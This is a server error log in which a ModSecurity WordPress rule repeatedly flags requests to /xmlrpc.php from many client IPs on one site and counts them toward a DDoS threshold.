[Fri Apr 17 08:09:56.034046 2026] [:error] [pid 34273:tid 34287] [client 213.165.70.105:36298] [client 213.165.70.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.165.70.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeF6VGuQDW686mK3dgExhwAAAYw"]
[Fri Apr 17 08:11:55.124810 2026] [:error] [pid 51878:tid 51888] [client 43.156.13.166:34622] [client 43.156.13.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.156.13.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeF6y0nQhUtMbw9EsgbWaAAAAQg"]
[Fri Apr 17 08:18:52.336019 2026] [:error] [pid 9152:tid 9212] [client 77.95.113.65:53250] [client 77.95.113.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.95.113.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeF8bJJYca8I3TNCwIdaLgAAAFY"]
[Fri Apr 17 08:21:35.802290 2026] [:error] [pid 9153:tid 9224] [client 104.248.23.4:52542] [client 104.248.23.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.248.23.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeF9D-MHGxkTZX3c45durwAAAIY"]
[Fri Apr 17 08:22:02.891815 2026] [:error] [pid 9152:tid 9201] [client 85.215.188.44:36662] [client 85.215.188.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.215.188.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeF9KpJYca8I3TNCwIdbgQAAAEs"]
[Fri Apr 17 08:26:08.952332 2026] [:error] [pid 51878:tid 51891] [client 194.164.173.215:37486] [client 194.164.173.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.173.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeF-IEnQhUtMbw9EsgbZLgAAAQs"]
[Fri Apr 17 08:27:58.754867 2026] [:error] [pid 9151:tid 9162] [client 157.66.27.30:49864] [client 157.66.27.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeF-jshTVuRPkua22vTW0AAAAAE"]
[Fri Apr 17 08:30:29.466429 2026] [:error] [pid 25010:tid 25025] [client 51.159.214.31:41296] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.214.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeF_JY-7kkf42RarqQ386gAAAUw"]
[Fri Apr 17 08:30:56.853562 2026] [:error] [pid 51878:tid 51882] [client 52.206.118.176:44144] [client 52.206.118.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.206.118.176, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeF_QEnQhUtMbw9EsgbbDAAAAQI"]
[Fri Apr 17 08:31:51.183394 2026] [:error] [pid 34273:tid 34286] [client 54.37.239.214:35526] [client 54.37.239.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.37.239.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeF_d2uQDW686mK3dgFC2AAAAYs"]
[Fri Apr 17 08:34:28.488374 2026] [:error] [pid 25010:tid 25035] [client 158.69.220.86:48152] [client 158.69.220.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.69.220.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGAFI-7kkf42RarqQ3_fwAAAVY"]
[Fri Apr 17 08:34:51.051757 2026] [:error] [pid 25010:tid 25037] [client 159.65.127.101:60276] [client 159.65.127.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.127.101, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGAK4-7kkf42RarqQ3_xgAAAVg"]
[Fri Apr 17 08:35:05.294204 2026] [:error] [pid 34273:tid 34278] [client 5.9.109.189:33150] [client 5.9.109.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.9.109.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGAOWuQDW686mK3dgFGfgAAAYM"]
[Fri Apr 17 08:35:11.260794 2026] [:error] [pid 9153:tid 9230] [client 72.14.187.140:41258] [client 72.14.187.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.14.187.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGAP-MHGxkTZX3c45d3hwAAAIw"]
[Fri Apr 17 08:42:24.349842 2026] [:error] [pid 9152:tid 9191] [client 93.91.154.4:50042] [client 93.91.154.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.91.154.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGB8JJYca8I3TNCwId3bQAAAEE"]
[Fri Apr 17 08:44:30.584571 2026] [:error] [pid 51878:tid 51890] [client 195.128.242.18:49630] [client 195.128.242.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.128.242.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGCbknQhUtMbw9Esgbh8wAAAQo"]
[Fri Apr 17 08:52:40.527079 2026] [:error] [pid 34273:tid 34297] [client 72.14.187.140:54092] [client 72.14.187.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.14.187.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGEWGuQDW686mK3dgFb3QAAAZY"]
[Fri Apr 17 08:54:28.612570 2026] [:error] [pid 34273:tid 34286] [client 51.210.113.223:59114] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGExGuQDW686mK3dgFd1QAAAYs"]
[Fri Apr 17 09:01:22.627172 2026] [:error] [pid 34273:tid 34284] [client 159.65.249.223:22540] [client 159.65.249.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.249.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGGYmuQDW686mK3dgFjsgAAAYk"]
[Fri Apr 17 09:02:51.157252 2026] [:error] [pid 25010:tid 25022] [client 68.183.13.1:36834] [client 68.183.13.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.13.1, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGGu4-7kkf42RarqQ0TVwAAAUk"]
[Fri Apr 17 09:03:14.510704 2026] [:error] [pid 9263:tid 9286] [client 20.163.27.0:56138] [client 20.163.27.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.163.27.0, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGG0hP68VyHNvj1e55e1QAAANU"]
[Fri Apr 17 09:06:55.473309 2026] [:error] [pid 34273:tid 34297] [client 159.65.130.72:42538] [client 159.65.130.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.130.72, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGHr2uQDW686mK3dgFoMQAAAZY"]
[Fri Apr 17 09:09:32.675006 2026] [:error] [pid 25010:tid 25034] [client 103.183.75.90:34726] [client 103.183.75.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.183.75.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGITI-7kkf42RarqQ0WGgAAAVU"]
[Fri Apr 17 09:12:00.729858 2026] [:error] [pid 25010:tid 25015] [client 212.125.4.206:59846] [client 212.125.4.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.125.4.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGI4I-7kkf42RarqQ0WbgAAAUI"]
[Fri Apr 17 09:14:15.555771 2026] [:error] [pid 34273:tid 34298] [client 78.46.191.135:48564] [client 78.46.191.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.46.191.135, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGJZ2uQDW686mK3dgFrRAAAAZc"]
[Fri Apr 17 09:17:17.567856 2026] [:error] [pid 9151:tid 9177] [client 84.201.130.79:53134] [client 84.201.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.201.130.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGKHchTVuRPkua22vTuEAAAABA"]
[Fri Apr 17 09:17:54.025297 2026] [:error] [pid 9263:tid 9287] [client 192.250.239.237:57130] [client 192.250.239.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.239.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGKQhP68VyHNvj1e55hXAAAANY"]
[Fri Apr 17 09:20:13.276245 2026] [:error] [pid 9263:tid 9272] [client 46.224.19.136:22676] [client 46.224.19.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.224.19.136, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGKzRP68VyHNvj1e55hjgAAAMc"]
[Fri Apr 17 09:22:06.716973 2026] [:error] [pid 9152:tid 9198] [client 109.74.14.122:38628] [client 109.74.14.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.74.14.122, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGLPpJYca8I3TNCwIedOgAAAEg"]
[Fri Apr 17 09:22:24.518181 2026] [:error] [pid 34273:tid 34294] [client 104.248.23.4:34686] [client 104.248.23.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.248.23.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGLUGuQDW686mK3dgFuHQAAAZM"]
[Fri Apr 17 09:22:26.609068 2026] [:error] [pid 34273:tid 34284] [client 79.116.52.1:55680] [client 79.116.52.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.116.52.1, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGLUmuQDW686mK3dgFuKAAAAYk"]
[Fri Apr 17 09:22:33.341601 2026] [:error] [pid 9153:tid 9225] [client 103.80.48.225:39932] [client 103.80.48.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.80.48.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGLWeMHGxkTZX3c45eVYwAAAIc"]
[Fri Apr 17 09:24:20.311728 2026] [:error] [pid 9152:tid 9196] [client 212.132.70.123:53292] [client 212.132.70.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.132.70.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGLxJJYca8I3TNCwIed7QAAAEY"]
[Fri Apr 17 09:28:20.871194 2026] [:error] [pid 51878:tid 51904] [client 46.163.72.195:54914] [client 46.163.72.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.163.72.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGMtEnQhUtMbw9EsgbwCgAAARg"]
[Fri Apr 17 09:28:46.049713 2026] [:error] [pid 34273:tid 34283] [client 164.92.66.167:56216] [client 164.92.66.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.92.66.167, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGMzmuQDW686mK3dgFwJgAAAYg"]
[Fri Apr 17 09:30:21.896862 2026] [:error] [pid 25010:tid 25022] [client 172.237.101.239:38938] [client 172.237.101.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.237.101.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGNLY-7kkf42RarqQ0ZEQAAAUk"]
[Fri Apr 17 09:31:01.479434 2026] [:error] [pid 9151:tid 9180] [client 81.181.68.123:47008] [client 81.181.68.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.181.68.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGNVchTVuRPkua22vTvvwAAABM"]
[Fri Apr 17 09:35:49.124933 2026] [:error] [pid 34273:tid 34296] [client 103.205.142.28:49700] [client 103.205.142.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.205.142.28, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGOdWuQDW686mK3dgFzCgAAAZU"]
[Fri Apr 17 09:38:00.733640 2026] [:error] [pid 9263:tid 9285] [client 148.113.180.195:57448] [client 148.113.180.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.180.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGO-BP68VyHNvj1e55jBAAAANQ"]
[Fri Apr 17 09:38:54.269615 2026] [:error] [pid 51878:tid 51889] [client 51.83.154.40:59060] [client 51.83.154.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.154.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGPLknQhUtMbw9EsgbxLgAAAQk"]
[Fri Apr 17 09:41:34.515422 2026] [:error] [pid 9153:tid 9241] [client 185.5.208.196:53512] [client 185.5.208.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.5.208.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGPzuMHGxkTZX3c45eZoAAAAJc"]
[Fri Apr 17 09:43:09.264412 2026] [:error] [pid 9151:tid 9162] [client 209.74.64.184:37444] [client 209.74.64.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.74.64.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGQLchTVuRPkua22vTxSgAAAAE"]
[Fri Apr 17 09:45:55.079901 2026] [:error] [pid 9152:tid 9204] [client 172.176.155.194:54354] [client 172.176.155.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.176.155.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGQ05JYca8I3TNCwIejKQAAAE4"]
[Fri Apr 17 09:46:44.197149 2026] [:error] [pid 34273:tid 34299] [client 34.101.217.251:60228] [client 34.101.217.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.101.217.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGRBGuQDW686mK3dgF3vgAAAZg"]
[Fri Apr 17 09:47:08.503003 2026] [:error] [pid 9153:tid 9237] [client 92.63.217.210:45236] [client 92.63.217.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.63.217.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGRHOMHGxkTZX3c45eaSgAAAJM"]
[Fri Apr 17 09:48:15.419603 2026] [:error] [pid 9151:tid 9164] [client 34.175.117.206:35040] [client 34.175.117.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.175.117.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGRX8hTVuRPkua22vTxvQAAAAM"]
[Fri Apr 17 09:48:20.374167 2026] [:error] [pid 51878:tid 51889] [client 51.210.190.32:35544] [client 51.210.190.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.190.32, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGRZEnQhUtMbw9EsgbyOAAAAQk"]
[Fri Apr 17 09:49:46.836168 2026] [:error] [pid 34273:tid 34284] [client 34.101.217.251:58778] [client 34.101.217.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.101.217.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGRumuQDW686mK3dgF45gAAAYk"]
[Fri Apr 17 09:52:01.697955 2026] [:error] [pid 9153:tid 9238] [client 85.10.187.189:41416] [client 85.10.187.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.10.187.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGSQeMHGxkTZX3c45ebKwAAAJQ"]
[Fri Apr 17 09:53:55.635812 2026] [:error] [pid 9152:tid 9198] [client 76.13.78.252:37646] [client 76.13.78.252] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 76.13.78.252, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGSs5JYca8I3TNCwIeldgAAAEg"]
[Fri Apr 17 09:54:15.723816 2026] [:error] [pid 9152:tid 9200] [client 212.125.4.206:49646] [client 212.125.4.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.125.4.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGSx5JYca8I3TNCwIelhQAAAEo"]
[Fri Apr 17 09:55:11.269418 2026] [:error] [pid 25010:tid 25032] [client 143.244.166.58:52968] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGS_4-7kkf42RarqQ0dBgAAAVM"]
[Fri Apr 17 09:55:56.569148 2026] [:error] [pid 9152:tid 9212] [client 137.184.64.22:51802] [client 137.184.64.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.64.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGTLJJYca8I3TNCwIel9AAAAFY"]
[Fri Apr 17 09:56:49.517179 2026] [:error] [pid 34273:tid 34293] [client 185.199.223.39:40230] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGTYWuQDW686mK3dgF7kQAAAZI"]
[Fri Apr 17 09:57:35.504033 2026] [:error] [pid 9263:tid 9266] [client 128.199.223.38:48620] [client 128.199.223.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.223.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGTjxP68VyHNvj1e55lDwAAAME"]
[Fri Apr 17 09:58:38.159114 2026] [:error] [pid 34273:tid 34279] [client 137.184.69.218:58446] [client 137.184.69.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.69.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGTzmuQDW686mK3dgF9GQAAAYQ"]
[Fri Apr 17 09:59:27.007326 2026] [:error] [pid 34273:tid 34294] [client 142.93.115.177:47490] [client 142.93.115.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.93.115.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGT_2uQDW686mK3dgF9bwAAAZM"]
